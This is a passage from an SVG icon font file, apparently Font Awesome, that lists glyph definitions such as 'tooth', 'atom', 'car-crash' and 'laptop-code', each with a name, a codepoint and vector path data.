d="M633.82 -10.0996c6.97949 -5.43066 8.22949 -15.4805 2.81934 -22.4502l-19.6396 -25.2705c-5.42969 -6.97949 -15.4805 -8.23926 -22.46 -2.80957l-588.36 454.729c-6.97949 5.43066 -8.22949 15.4805 -2.80957 22.4502l19.6396 25.2705
c5.41992 6.97949 15.4805 8.22949 22.46 2.80957l186.82 -144.399c21.6201 33.7197 42.9697 73.3398 58.4902 125.68c9 30.1201 50.5 28.7803 58.4395 0c46.9902 -158.48 146.78 -200.061 146.78 -311.82c0 -5.70996 -0.509766 -11.2998 -1.03027 -16.8701zM144 114.09
c0 29.7803 7.30957 54.6299 18.7197 78.1299l273.681 -211.52c-31.0303 -27.7402 -71.6904 -44.7002 -116.4 -44.7002c-97.2803 0 -176 79.6504 -176 178.09z" />
    <glyph glyph-name="tired" unicode="&#xf5c8;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM281.8 250.3c-7.7002 -4.7002 -7.7002 -15.8994 0 -20.5996l80 -48c11.5 -6.7998 24.1006 7.59961 15.4004 18l-33.6006 40.2998l33.6006 40.2998
c8.59961 10.2998 -3.7998 24.9004 -15.4004 18zM118.8 280.3l33.6006 -40.2998l-33.6006 -40.2998c-8.59961 -10.4004 3.90039 -24.7998 15.4004 -18l80 48c7.7998 4.7002 7.7998 15.8994 0 20.5996l-80 48c-11.6006 6.90039 -24 -7.7002 -15.4004 -18zM248 160
c-51.9004 0 -115.3 -43.7998 -123.2 -106.7c-1.7002 -13.3994 7.90039 -24.5996 17.7002 -20.3994c25.9004 11.0996 64.4004 17.3994 105.5 17.3994s79.5996 -6.2998 105.5 -17.3994c9.7002 -4.2002 19.4004 6.7998 17.7002 20.3994
c-7.90039 62.9004 -71.2998 106.7 -123.2 106.7z" />
    <glyph glyph-name="tooth" unicode="&#xf5c9;" horiz-adv-x="448" 
d="M443.98 351.75c10.1299 -41.6299 0.419922 -80.8203 -21.5303 -110.43c-23.3604 -31.5703 -32.6807 -68.6504 -36.29 -107.351c-4.41016 -47.1602 -10.3301 -94.1699 -20.9404 -140.319l-7.7998 -33.9502c-3.18945 -13.8701 -15.4902 -23.7002 -29.6699 -23.7002
c-13.9697 0 -26.1504 9.5498 -29.54 23.1602l-34.4697 138.42c-4.56055 18.3096 -20.96 31.1602 -39.7598 31.1602c-18.8008 0 -35.2002 -12.8398 -39.7607 -31.1602l-34.4697 -138.42c-3.38965 -13.6104 -15.5703 -23.1602 -29.54 -23.1602
c-14.1797 0 -26.4795 9.83008 -29.6699 23.7002l-7.7998 33.9502c-10.6104 46.1592 -16.54 93.1592 -20.9404 140.319c-3.60938 38.6904 -12.9297 75.7803 -36.29 107.351c-21.9199 29.6201 -31.6299 68.8096 -21.5 110.43c11.0098 45.2197 47.1104 82.0498 92.0098 93.7197
c23.4307 6.08984 46.1104 0.540039 66.8105 -10.3096l100.51 -64.6201c7.83984 -5.05957 17.6504 -2.15039 22.1104 4.7998c4.78027 7.44043 2.62012 17.3398 -4.7998 22.1104l-28.3203 18.21c3.54004 1.75 7.25 3.08984 10.5 5.47949
c26.1396 19.2305 56.9502 32.6904 89.1396 24.3301c44.9004 -11.6602 81 -48.5 92.0107 -93.7197z" />
    <glyph glyph-name="umbrella-beach" unicode="&#xf5ca;" horiz-adv-x="640" 
d="M115.38 311.1c-10.0801 3.66992 -14.1104 16.3203 -7.41992 24.7207c59.75 74.8398 152.65 116.689 248.53 111.8c-52.79 -29.4102 -103.811 -92.1602 -139 -173.7zM247.63 262.94c44.4902 101.979 114.74 171.14 172.76 171.149c7.95996 0 15.6904 -1.2998 23.0908 -4
c61.3291 -22.3203 78.3896 -132.6 42.6299 -253.979zM521.48 387.5c76.5293 -57.9199 120.76 -149.67 118.439 -245.36c-0.259766 -10.7393 -11.4795 -17.8398 -21.5703 -14.1699l-102.619 37.3604c17.5293 58.75 24.6895 117.09 18.9492 166.979
c-2.37012 20.5908 -6.97949 38.8906 -13.1992 55.1904zM560 0.0195312c8.83984 0 16 -7.15918 16 -16v-32.0098c0 -8.83984 -7.16016 -16.0098 -16 -16.0098h-544c-8.83984 0 -16 7.16992 -16 16.0098v32.0098c0 8.85059 7.16016 16.0107 16 16.0107h236.96l72.9004 200.37
l60.1396 -21.9004l-64.9404 -178.48h238.94z" />
    <glyph glyph-name="vector-square" unicode="&#xf5cb;" 
d="M512 320c0 -17.6699 -14.3301 -32 -32 -32v-192c17.6699 0 32 -14.3301 32 -32v-96c0 -17.6699 -14.3301 -32 -32 -32h-96c-17.6699 0 -32 14.3301 -32 32h-192c0 -17.6699 -14.3301 -32 -32 -32h-96c-17.6699 0 -32 14.3301 -32 32v96c0 17.6699 14.3301 32 32 32v192
c-17.6699 0 -32 14.3301 -32 32v96c0 17.6699 14.3301 32 32 32h96c17.6699 0 32 -14.3301 32 -32h192c0 17.6699 14.3301 32 32 32h96c17.6699 0 32 -14.3301 32 -32v-96zM416 384v-32h32v32h-32zM64 384v-32h32v32h-32zM96 0v32h-32v-32h32zM448 0v32h-32v-32h32zM416 96
v192h-32c-17.6699 0 -32 14.3301 -32 32v32h-192v-32c0 -17.6699 -14.3301 -32 -32 -32h-32v-192h32c17.6699 0 32 -14.3301 32 -32v-32h192v32c0 17.6699 14.3301 32 32 32h32z" />
    <glyph glyph-name="weight-hanging" unicode="&#xf5cd;" 
d="M510.28 2.13965c8.33008 -33.3096 -14.6602 -66.1396 -46.2998 -66.1396h-415.95c-31.6504 0 -54.6406 32.8301 -46.3105 66.1396l73.0498 292.13c3.79004 15.1807 16.4404 25.7207 30.8701 25.7207h60.25c-3.58008 10.0498 -5.87988 20.7197 -5.87988 32
c0 53.0195 42.9805 96 96 96c53.0205 0 96 -42.9805 96 -96c0 -11.2803 -2.30957 -21.9502 -5.87988 -32h60.25c14.4297 0 27.0703 -10.5303 30.8701 -25.7207zM256 320c17.6396 0 32 14.3604 32 32s-14.3604 32 -32 32s-32 -14.3604 -32 -32s14.3604 -32 32 -32z" />
    <glyph glyph-name="wine-glass-alt" unicode="&#xf5ce;" horiz-adv-x="288" 
d="M216 -16c22.0898 0 40 -17.9102 40 -40c0 -4.41992 -3.58008 -8 -8 -8h-208c-4.41992 0 -8 3.58008 -8 8c0 22.0898 17.9102 40 40 40h40v117.18c-68.4697 15.8906 -118.05 79.9102 -111.4 154.16l15.96 178.11c0.730469 8.24023 7.55078 14.5498 15.7002 14.5498h223.48
c8.16016 0 14.9697 -6.30957 15.71 -14.5498l15.9502 -178.101c6.64941 -74.25 -42.9307 -138.27 -111.4 -154.159v-117.19h40zM61.75 400l-7.16992 -80h178.84l-7.16992 80h-164.5z" />
    <glyph glyph-name="air-freshener" unicode="&#xf5d0;" horiz-adv-x="384" 
d="M378.94 126.59c11.75 -12.1494 1.71973 -30.5898 -16.6406 -30.5898h-138.3v-32h112c8.83984 0 16 -7.16016 16 -16v-96c0 -8.83984 -7.16016 -16 -16 -16h-288c-8.83984 0 -16 7.16016 -16 16v96c0 8.83984 7.16016 16 16 16h112v32h-138.3
c-18.3604 0 -28.3906 18.4404 -16.6406 30.5898l94.2402 97.4102h-49.2197c-15.2998 0 -23.6602 16.5996 -13.8604 27.5303l113.33 126.51c-3.42969 6.61035 -5.5498 14 -5.5498 21.96c0 26.5098 21.4902 48 48 48s48 -21.4902 48 -48
c0 -7.95996 -2.12012 -15.3496 -5.5498 -21.96l113.33 -126.51c9.7998 -10.9307 1.43945 -27.5303 -13.8604 -27.5303h-49.2197zM192 416.02c-8.84961 0 -16.0195 -7.16992 -16.0195 -16.0195c0 -8.83984 7.16992 -16.0195 16.0195 -16.0195
s16.0195 7.17969 16.0195 16.0195c0 8.84961 -7.16992 16.0195 -16.0195 16.0195zM304 16h-224v-32h224v32z" />
    <glyph glyph-name="apple-alt" unicode="&#xf5d1;" horiz-adv-x="448" 
d="M350.85 319c25.9707 -4.66992 47.2705 -18.6699 63.9199 -42c14.6504 -20.6699 24.6406 -46.6699 29.9609 -78c4.66992 -28.6699 4.31934 -57.3301 -1 -86c-7.99023 -47.3301 -23.9707 -87 -47.9404 -119c-28.6396 -38.6699 -64.5898 -58 -107.87 -58
c-10.6602 0 -22.2998 3.33008 -34.96 10c-8.66016 5.33008 -18.3096 8 -28.9697 8s-20.2998 -2.66992 -28.9707 -8c-12.6592 -6.66992 -24.2998 -10 -34.96 -10c-43.2793 0 -79.2295 19.3301 -107.869 58c-23.9707 32 -39.9502 71.6699 -47.9404 119
c-5.32031 28.6699 -5.66992 57.3301 -1 86c5.32031 31.3301 15.3096 57.3301 29.96 78c16.6504 23.3301 37.9502 37.3301 63.9199 42c15.9805 2.66992 37.9502 0.330078 65.9199 -7c23.9697 -6.66992 44.2803 -14.6699 60.9307 -24
c16.6494 9.33008 36.96 17.3301 60.9297 24c27.9795 7.33008 49.96 9.66992 65.9395 7zM295.91 360c-9.32031 -8.66992 -21.6504 -15 -36.96 -19c-10.6602 -3.33008 -22.2998 -5 -34.96 -5l-14.9805 1c-1.33008 9.33008 -1.33008 20 0 32
c2.66992 24 10.3203 42.3301 22.9707 55c9.31934 8.66992 21.6494 15 36.96 19c10.6592 3.33008 22.2998 5 34.96 5l14.9795 -1l1 -15c0 -12.6699 -1.66992 -24.3301 -4.99023 -35c-3.98926 -15.3301 -10.3096 -27.6699 -18.9795 -37z" />
    <glyph glyph-name="atom" unicode="&#xf5d2;" horiz-adv-x="448" 
d="M413.03 192c40.1396 -54.9102 41.5195 -98.5996 25.1396 -128c-29.2197 -52.3398 -101.689 -43.5801 -116.33 -41.8799c-21.4697 -51.2197 -54.2002 -86.1201 -97.8398 -86.1201s-76.3701 34.9004 -97.8398 86.1201c-14.6504 -1.7002 -87.1201 -10.46 -116.33 41.8799
c-16.3701 29.3799 -14.9902 73.1104 25.1396 128c-40.1396 54.9102 -41.5195 98.5996 -25.1396 128c10.9004 19.5195 40.5996 50.6602 116.33 41.8799c21.4795 51.2305 54.2002 86.1201 97.8398 86.1201s76.3604 -34.8896 97.8398 -86.1201
c75.79 8.85059 105.42 -22.3604 116.33 -41.8799c16.3701 -29.3799 14.9902 -73.1104 -25.1396 -128zM63.3799 96c3.69043 -6.59961 19.0205 -11.8604 43.5801 -10.9697c-2.75977 13 -5.0498 26.3701 -6.75977 40.0801c-7.66992 6.29004 -14.9102 12.6494 -21.8701 19.1797
c-15.1396 -23.4902 -18.9805 -41.0801 -14.9502 -48.29zM100.2 258.88c1.39355 11.1816 4.43555 29.2002 6.79004 40.2197c-1.82031 0.0703125 -3.98047 0.370117 -5.69043 0.370117c-21.5303 0 -34.5098 -5.33008 -37.9199 -11.4697
c-4.01953 -7.20996 -0.179688 -24.7998 14.9502 -48.2998c6.96973 6.53027 14.21 12.8896 21.8701 19.1797zM224 384c-9.46973 0 -22.2002 -13.5195 -33.8604 -37.2598c11.1904 -3.7002 22.4404 -8 33.8604 -12.8604c11.4199 4.86035 22.6699 9.16016 33.8604 12.8604
c-11.6602 23.7402 -24.3906 37.2598 -33.8604 37.2598zM224 0c9.46973 0 22.2002 13.5195 33.8604 37.2598c-11.1904 3.7002 -22.4404 8 -33.8604 12.8604c-11.4199 -4.86035 -22.6699 -9.16016 -33.8604 -12.8604c11.6602 -23.7402 24.3906 -37.2598 33.8604 -37.2598z
M286.5 157.33c1.99023 27.7998 1.98047 41.5498 0 69.3301c-26.6396 19.04 -46.1104 29.3096 -62.5 37.4795c-16.3701 -8.15918 -35.8301 -18.4297 -62.5 -37.4795c-1.99023 -27.79 -1.99023 -41.54 0 -69.3301c26.7002 -19.0703 46.1504 -29.3398 62.5 -37.4805
c16.3604 8.15039 35.7998 18.4004 62.5 37.4805zM384.62 96c4.01953 7.20996 0.179688 24.7998 -14.9502 48.29c-6.96973 -6.53027 -14.21 -12.8896 -21.8701 -19.1797c-1.70996 -13.6904 -4 -27.0605 -6.75977 -40.0605c24.5801 -0.870117 39.9102 4.33008 43.5801 10.9502
zM369.67 239.71c15.1299 23.4902 18.9697 41.0801 14.9502 48.2998c-3.41016 6.12988 -16.4004 11.4707 -37.9199 11.4707c-1.71973 0 -3.87012 -0.300781 -5.69043 -0.370117c2.35254 -11.0205 5.39453 -29.0391 6.79004 -40.2207
c7.66992 -6.29004 14.9102 -12.6494 21.8701 -19.1797zM224 224c17.6699 0 32 -14.3301 32 -32s-14.3301 -32 -32 -32s-32 14.3301 -32 32s14.3301 32 32 32z" />
    <glyph glyph-name="bone" unicode="&#xf5d7;" horiz-adv-x="640" 
d="M598.88 203.44c-9.42969 -4.70996 -9.42969 -18.1709 -0.00976562 -22.8809c25.2002 -12.5996 41.1201 -38.3496 41.1201 -66.5293v-7.64062c0 -41.0898 -33.2998 -74.3896 -74.3799 -74.3896c-32.0107 0 -60.4404 20.4902 -70.5703 50.8604
c-6.53027 19.5996 -10.7305 45.1396 -38.1104 45.1396h-273.87c-26.5098 0 -30.4297 -22.1104 -38.1094 -45.1396c-10.1299 -30.3701 -38.5498 -50.8604 -70.5703 -50.8604c-41.0801 0 -74.3799 33.2998 -74.3799 74.3896v7.64062
c0 28.1699 15.9199 53.9297 41.1201 66.5293c9.42969 4.70996 9.42969 18.1709 0 22.8809c-25.2002 12.5996 -41.1201 38.3594 -41.1201 66.5293v7.64062c0 41.0898 33.2998 74.3896 74.3896 74.3896c32.0107 0 60.4404 -20.4902 70.5605 -50.8604
c6.53027 -19.5996 10.7295 -45.1396 38.1094 -45.1396h273.87c26.5107 0 30.4307 22.1104 38.1104 45.1396c10.1299 30.3701 38.5498 50.8604 70.5703 50.8604c41.0898 0 74.3896 -33.2998 74.3896 -74.3896v-7.64062c0 -28.1699 -15.9199 -53.9297 -41.1201 -66.5293z" />
    <glyph glyph-name="book-reader" unicode="&#xf5da;" 
d="M352 352c0 -53.0195 -42.9805 -96 -96 -96s-96 42.9805 -96 96s42.9805 96 96 96s96 -42.9805 96 -96zM233.59 206.9c4.10059 -2.51074 6.41016 -6.79004 6.41992 -11.46v-245.99c0 -10.1602 -11.1094 -16.5898 -20.4795 -11.8701
c-61.0498 30.75 -149.38 39.1396 -193.04 41.4297c-14.9004 0.770508 -26.4902 12.7207 -26.4902 27.0498v222.801c0 15.6299 13.5498 28.0098 29.7998 27.0898c48.3604 -2.75 144.46 -12.7305 203.79 -49.0498zM482.2 255.95
c16.25 0.919922 29.7998 -11.46 29.8096 -27.0898v-222.82c0 -14.3301 -11.5898 -26.2803 -26.4902 -27.0596c-43.6494 -2.29004 -131.93 -10.6807 -192.97 -41.4004c-9.39941 -4.73047 -20.54 1.70996 -20.54 11.9004v245.789c0 4.6709 2.31055 9.12012 6.41016 11.6309
c59.3203 36.3193 155.43 46.3096 203.78 49.0498z" />
    <glyph glyph-name="brain" unicode="&#xf5dc;" horiz-adv-x="576" 
d="M208 448c35.2998 0 64 -28.7002 64 -64v-376c0 -39.7998 -32.2002 -72 -72 -72c-31.7998 0 -58.4004 20.7002 -68 49.2002c-3.90039 -0.700195 -7.90039 -1.2002 -12 -1.2002c-39.7998 0 -72 32.2002 -72 72c0 4.7998 0.5 9.5 1.40039 14.0996
c-29 12 -49.4004 40.6006 -49.4004 73.9004c0 29.7002 16.2998 55.2998 40.2998 69.0996c-5.09961 10.6006 -8.2998 22.3008 -8.2998 34.9004c0 33.4004 20.5 62 49.7002 74c-1.10059 4.5 -1.7002 9.2002 -1.7002 14c0 35.2998 28.7002 64 64 64
c0.799805 0 1.40039 -0.200195 2.2002 -0.200195c7.09961 27.7002 31.8994 48.2002 61.7998 48.2002zM576 144c0 -33.2998 -20.4004 -61.9004 -49.4004 -73.9004c0.900391 -4.59961 1.40039 -9.2998 1.40039 -14.0996c0 -39.7998 -32.2002 -72 -72 -72
c-4.09961 0 -8.09961 0.5 -12 1.2002c-9.59961 -28.5 -36.2002 -49.2002 -68 -49.2002c-39.7998 0 -72 32.2002 -72 72v376c0 35.4004 28.7002 64 64 64c29.9004 0 54.7002 -20.5 61.7998 -48.2002c0.700195 0 1.40039 0.200195 2.2002 0.200195
c35.2998 0 64 -28.7002 64 -64c0 -4.7998 -0.700195 -9.5 -1.7002 -14c29.2002 -12 49.7002 -40.5996 49.7002 -74c0 -12.5996 -3.09961 -24.2998 -8.2998 -34.9004c24 -13.7998 40.2998 -39.3994 40.2998 -69.0996z" />
    <glyph glyph-name="car-alt" unicode="&#xf5de;" horiz-adv-x="480" 
d="M438.66 235.67c24.1201 -9.16992 41.3398 -32.3301 41.3398 -59.6699v-48c0 -16.1299 -6.16016 -30.6797 -16 -41.9297v-54.0703c0 -17.6699 -14.3301 -32 -32 -32h-32c-17.6699 0 -32 14.3301 -32 32v32h-256v-32c0 -17.6699 -14.3301 -32 -32 -32h-32
c-17.6699 0 -32 14.3301 -32 32v54.0703c-9.83984 11.2598 -16 25.8096 -16 41.9297v48c0 27.3398 17.2197 50.5 41.3398 59.6699l11.2402 28.0996l19.9297 49.8301c17.1104 42.7705 57.9307 70.4004 103.99 70.4004h127c46.0703 0 86.8799 -27.6299 103.99 -70.4004
l19.9297 -49.8301zM131.93 289.83l-19.9297 -49.8301h256l-19.9297 49.8301c-7.29004 18.2197 -24.9404 30.1699 -44.5703 30.1699h-127c-19.6299 0 -37.2803 -11.9502 -44.5703 -30.1699zM80 128.2c19.2002 0 48 -3.19043 48 15.9502
c0 19.1396 -28.7998 47.8496 -48 47.8496s-32 -12.7598 -32 -31.9004c0 -19.1396 12.7998 -31.8994 32 -31.8994zM400 128.2c19.2002 0 32 12.7598 32 31.8994c0 19.1406 -12.7998 31.9004 -32 31.9004s-48 -28.71 -48 -47.8496c0 -19.1406 28.7998 -15.9502 48 -15.9502z
" />
    <glyph glyph-name="car-battery" unicode="&#xf5df;" 
d="M480 320c17.6699 0 32 -14.3301 32 -32v-256c0 -17.6699 -14.3301 -32 -32 -32h-448c-17.6699 0 -32 14.3301 -32 32v256c0 17.6699 14.3301 32 32 32h32v48c0 8.83984 7.16016 16 16 16h96c8.83984 0 16 -7.16016 16 -16v-48h128v48c0 8.83984 7.16016 16 16 16h96
c8.83984 0 16 -7.16016 16 -16v-48h32zM192 184v16c0 4.41992 -3.58008 8 -8 8h-112c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h112c4.41992 0 8 3.58008 8 8zM448 184v16c0 4.41992 -3.58008 8 -8 8h-40v40c0 4.41992 -3.58008 8 -8 8h-16
c-4.41992 0 -8 -3.58008 -8 -8v-40h-40c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h40v-40c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8v40h40c4.41992 0 8 3.58008 8 8z" />
    <glyph glyph-name="car-crash" unicode="&#xf5e1;" horiz-adv-x="640" 
d="M143.25 227.19l-12.4199 -46.3701c-3.00977 -11.25 -3.62988 -22.8906 -2.41016 -34.3906l-35.2002 -28.9795c-6.56934 -5.41016 -16.3096 0.429688 -14.6201 8.76953l15.4404 76.6807c1.05957 5.25977 -2.66016 10.2793 -8 10.79l-77.8604 7.5498
c-8.46973 0.819336 -11.2295 11.8301 -4.13965 16.54l65.1504 43.2998c4.45996 2.96973 5.37988 9.15039 1.97949 13.29l-49.71 60.4102c-5.41016 6.56934 0.429688 16.2998 8.78027 14.6201l76.6797 -15.4404c5.25977 -1.05957 10.2803 2.66016 10.7998 8l7.5498 77.8604
c0.820312 8.47949 11.8301 11.2295 16.5508 4.13965l43.2998 -65.1396c2.96973 -4.45996 9.14941 -5.37988 13.29 -1.98047l60.3994 49.71c6.57031 5.41016 16.3008 -0.429688 14.6201 -8.76953l-11.3301 -56.1602c-2.70996 -3.0498 -5.42969 -6.08984 -7.90918 -9.40039
l-32.1504 -42.9697l-10.71 -14.3203c-32.7305 -8.75977 -59.1797 -34.5293 -68.0801 -67.7393zM637.82 94.6797l-12.4199 -46.3594c-3.13086 -11.6807 -9.38086 -21.6104 -17.5508 -29.3604c-2.25488 -2.13574 -6.17969 -5.27148 -8.75977 -7l-13.9902 -52.2295
c-1.13965 -4.27051 -3.09961 -8.10059 -5.64941 -11.3809c-7.66992 -9.83984 -20.7402 -14.6797 -33.54 -11.25l-30.9102 8.28027c-17.0703 4.57031 -27.2002 22.1201 -22.6299 39.1904l8.28027 30.9102l-247.28 66.2598l-8.28027 -30.9102
c-4.57031 -17.0703 -22.1201 -27.2002 -39.1895 -22.6299l-30.9102 8.28027c-12.7998 3.42969 -21.7002 14.1592 -23.4199 26.5098c-0.570312 4.12012 -0.350586 8.41992 0.790039 12.6797l13.9893 52.2305c-1.37207 2.78809 -3.2041 7.46973 -4.08984 10.4492
c-3.2002 10.79 -3.64941 22.5205 -0.519531 34.2002l12.4199 46.3701c5.30957 19.7998 19.3594 34.8301 36.8896 42.21c4.9082 2.06836 13.1914 4.18262 18.4902 4.71973l18.1299 24.2305l32.1504 42.9697c3.44922 4.61035 7.18945 8.90039 11.1992 12.8398
c8 7.89062 17.0303 14.4404 26.7402 19.5107c4.86035 2.54004 9.89062 4.70996 15.0498 6.48926c10.3301 3.58008 21.1904 5.62988 32.2402 6.04004s22.3105 -0.819336 33.4307 -3.7998l122.68 -32.8701c11.1201 -2.97949 21.4795 -7.54004 30.8496 -13.4297
c11.7236 -7.36133 27.2646 -22.8174 34.6904 -34.5c8.81934 -13.8799 14.6396 -29.8398 16.6797 -46.9902l6.36035 -53.29l3.58984 -30.0498c8.79297 -6.34863 18.9805 -19.7568 22.7402 -29.9297c4.38965 -11.8799 5.29004 -25.1904 1.75 -38.3906zM255.58 213.66
c-18.5498 4.96973 -34.21 -4.04004 -39.1699 -22.5303s4.10938 -34.1201 22.6494 -39.0898c18.5508 -4.96973 45.54 -15.5098 50.4902 2.97949c4.95996 18.4902 -15.4297 53.6709 -33.9697 58.6406zM546.19 185.49l-6.36035 53.29
c-0.580078 4.87012 -1.88965 9.5293 -3.82031 13.8594c-5.7998 12.9902 -17.2002 23.0107 -31.4199 26.8203l-122.68 32.8701c-3.36914 0.902344 -8.93457 1.63477 -12.4229 1.63477c-13.2676 0 -30.4883 -8.62207 -38.4375 -19.2451l-32.1494 -42.9697l172 -46.0801z
M564.68 130.84c-18.5498 4.96973 -53.7998 -15.3096 -58.75 -33.79c-4.94922 -18.4902 23.6904 -22.8594 42.2402 -27.8301c18.5498 -4.96973 34.21 4.04004 39.1699 22.5303c4.9502 18.4805 -4.10938 34.1201 -22.6602 39.0898z" />
    <glyph glyph-name="car-side" unicode="&#xf5e4;" horiz-adv-x="640" 
d="M544 256c53.0195 0 96 -42.9805 96 -96v-80c0 -8.83984 -7.16016 -16 -16 -16h-48c0 -53.0195 -42.9805 -96 -96 -96s-96 42.9805 -96 96h-128c0 -53.0195 -42.9805 -96 -96 -96s-96 42.9805 -96 96h-48c-8.83984 0 -16 7.16016 -16 16v112
c0 29.79 20.4404 54.5996 48 61.7402l47.9102 122.029c9.71973 24.3008 33.25 40.2305 59.4199 40.2305h213.91c16.9795 -0.00195312 39.3701 -10.7627 49.9795 -24.0195l108.78 -135.98h16zM160 16c26.4697 0 48 21.5303 48 48s-21.5303 48 -48 48s-48 -21.5303 -48 -48
s21.5303 -48 48 -48zM232 256v96h-76.6699l-38.4004 -96h115.07zM280 256h166.04l-76.7998 96h-89.2402v-96zM480 16c26.4697 0 48 21.5303 48 48s-21.5303 48 -48 48s-48 -21.5303 -48 -48s21.5303 -48 48 -48z" />
    <glyph glyph-name="charging-station" unicode="&#xf5e7;" horiz-adv-x="576" 
d="M336 0c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-320c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h320zM544 320h16c8.83984 0 16 -7.16016 16 -16v-32c0 -35.7598 -23.6201 -65.6904 -56 -75.9297v-120.07
c0 -44.4102 -38.29 -80.0498 -83.5898 -75.6201c-39.4902 3.85059 -68.4102 39.3398 -68.4102 79.0098v24.6104c0 22.0898 -17.9102 40 -40 40h-8v-112h-288v352c0 35.3496 28.6504 64 64 64h160c35.3496 0 64 -28.6504 64 -64v-192h8c48.5996 0 88 -39.4004 88 -88v-28
c0 -16.9902 15.2197 -30.5 32.7402 -27.6104c13.7598 2.27051 23.2598 15.2402 23.2598 29.1904v118.49c-32.3799 10.2393 -56 40.1699 -56 75.9297v32c0 8.83984 7.16016 16 16 16h16v48c0 8.83984 7.16016 16 16 16s16 -7.16016 16 -16v-48h32v48
c0 8.83984 7.16016 16 16 16s16 -7.16016 16 -16v-48zM260.09 272.24c4.62012 6.97949 -1.14941 15.7598 -10.3896 15.7598h-57.7002l11.5996 50.79c2.02051 6.66992 -3.71973 13.21 -11.5996 13.21h-68c-6.01953 0 -11.0996 -3.90039 -11.8896 -9.11035l-16 -107
c-0.959961 -6.2998 4.63965 -11.8896 11.8896 -11.8896h59.3496l-23.0195 -83.0801c-1.7998 -6.63965 4 -12.9199 11.6699 -12.9199c4.17969 0 8.19043 1.91016 10.3896 5.24023z" />
    <glyph glyph-name="directions" unicode="&#xf5eb;" 
d="M502.61 214.68c12.5195 -12.5293 12.5195 -32.8301 0 -45.3594l-223.931 -223.931c-12.5293 -12.5293 -32.8398 -12.5293 -45.3594 0l-223.931 223.931c-12.5195 12.5293 -12.5195 32.8301 0 45.3594l223.931 223.931c12.5293 12.5195 32.8398 12.5195 45.3594 0z
M401.63 202.12c3.42969 3.16992 3.42969 8.58984 0 11.7598l-84.21 77.7305c-5.12988 4.72949 -13.4297 1.08984 -13.4297 -5.87988v-53.7305h-112c-17.6699 0 -32 -14.3301 -32 -32v-80c0 -4.41992 3.58008 -8 8 -8h32c4.41992 0 8 3.58008 8 8v64h96v-53.7305
c0 -6.97949 8.30957 -10.6094 13.4297 -5.87988z" />
    <glyph glyph-name="draw-polygon" unicode="&#xf5ee;" horiz-adv-x="448" 
d="M384 96c35.3496 0 64 -28.6504 63.9902 -64c0 -35.3496 -28.6504 -64 -64 -64c-23.6299 0 -44.0303 12.9502 -55.1201 32h-209.75c-11.0801 -19.0498 -31.4902 -32 -55.1201 -32c-35.3496 0 -64 28.6504 -64 64c0 23.6299 12.9502 44.04 32 55.1299v209.75
c-19.0498 11.0801 -32 31.4902 -32 55.1201c0 35.3496 28.6504 64 64 64c23.6299 0 44.04 -12.9502 55.1201 -32h209.76c11.0801 19.0498 31.4902 32 55.1201 32c35.3496 0 64 -28.6504 64 -64s-28.6504 -64 -64 -64c-0.349609 0 -0.669922 0.0898438 -1.01953 0.0996094
l-39.2002 -65.3193c5.08008 -9.16992 8.21973 -19.5605 8.21973 -30.7803s-3.15039 -21.6104 -8.21973 -30.7803l39.2002 -65.3193c0.349609 0 0.669922 0.0996094 1.01953 0.0996094zM96 87.1201c8.07422 -4.68848 18.4316 -15.0459 23.1201 -23.1201h208.36
l-38.4609 64.0996c-0.349609 0 -0.669922 -0.0996094 -1.01953 -0.0996094c-35.3496 0 -64 28.6504 -64 64s28.6504 64 64 64c0.349609 0 0.669922 -0.0898438 1.01953 -0.0996094l38.4609 64.0996h-208.36c-4.69043 -8.07227 -15.0479 -18.4297 -23.1201 -23.1201v-209.76z
M272 192c0 -8.82031 7.17969 -16 16 -16s16 7.17969 16 16s-7.17969 16 -16 16s-16 -7.17969 -16 -16zM400 352c0 8.82031 -7.17969 16 -16 16s-16 -7.17969 -16 -16s7.17969 -16 16 -16s16 7.17969 16 16zM64 368c-8.82031 0 -16 -7.17969 -16 -16s7.17969 -16 16 -16
s16 7.17969 16 16s-7.17969 16 -16 16zM48 32c0 -8.82031 7.17969 -16 16 -16s16 7.17969 16 16s-7.17969 16 -16 16s-16 -7.17969 -16 -16zM384 16c8.82031 0 16 7.17969 16 16s-7.17969 16 -16 16s-16 -7.17969 -16 -16s7.17969 -16 16 -16z" />
    <glyph glyph-name="laptop-code" unicode="&#xf5fc;" horiz-adv-x="640" 
d="M255.03 186.35l-58.3506 58.3408c-6.25 6.25 -6.25 16.3799 0 22.6299l58.3398 58.3398c6.25 6.25 16.3809 6.25 22.6309 0l11.3096 -11.3105c6.25 -6.25 6.25 -16.3799 0 -22.6299l-35.71 -35.7197l35.7197 -35.71c6.25 -6.25 6.25 -16.3799 0 -22.6299
l-11.3096 -11.3105c-6.25 -6.25 -16.3799 -6.25 -22.6299 0zM351.04 197.65c-6.25 6.25 -6.25 16.3799 0 22.6299l35.71 35.7197l-35.71 35.71c-6.25 6.25 -6.25 16.3799 0 22.6299l11.3096 11.3105c6.25 6.25 16.3809 6.25 22.6309 0l58.3398 -58.3408
c6.25 -6.25 6.25 -16.3799 0 -22.6299l-58.3398 -58.3398c-6.25 -6.25 -16.3809 -6.25 -22.6309 0zM624 32c8.7998 0 16 -7.2002 16 -16v-16c0 -35.2002 -28.7998 -64 -64 -64h-512c-35.2002 0 -64 28.7998 -64 64v16c0 8.7998 7.2002 16 16 16h239.23
c-0.25 -14.5303 14.0791 -32 32.7695 -32h60.7998c18.0303 0 32 12.1904 32.7402 32h242.46zM576 400v-336h-512v336c0 26.4004 21.5996 48 48 48h416c26.4004 0 48 -21.5996 48 -48zM512 128v256h-384v-256h384z" />
    <glyph glyph-name="layer-group" unicode="&#xf5fd;" 
d="M12.4102 299.98c-16.5498 7.50977 -16.5498 32.5293 0 40.0391l232.95 105.671c2.79883 1.2793 7.56738 2.31738 10.6445 2.31738s7.84668 -1.03809 10.6455 -2.31738l232.93 -105.681c16.5498 -7.50977 16.5498 -32.5195 0 -40.0293l-232.94 -105.671
